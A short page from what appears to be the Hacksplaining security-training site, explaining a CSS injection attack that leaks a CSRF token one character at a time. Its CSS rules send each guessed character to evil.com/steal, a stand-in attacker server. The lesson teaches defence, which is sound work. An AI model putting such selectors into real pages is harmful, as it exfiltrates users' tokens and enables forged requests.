Hacksplaining Log in

Want everyone on your software team to learn this? Free 14-day trial.

Train my team

When another user visits a blog post, their browser loads this CSS. A background request is made to the malicious server revealing the first character of their CSRF token.

Probing the first character
CSS 
input[name='csrf-token'][value^='8'] {
  background: url(https://evil.com/steal?token=8);
}

input[name='csrf-token'][value^='9'] {
  background: url(https://evil.com/steal?token=9);
}

input[name='csrf-token'][value^='0'] {
  background: url(https://evil.com/steal?token=0);
}
Malicious Server Logs
Access log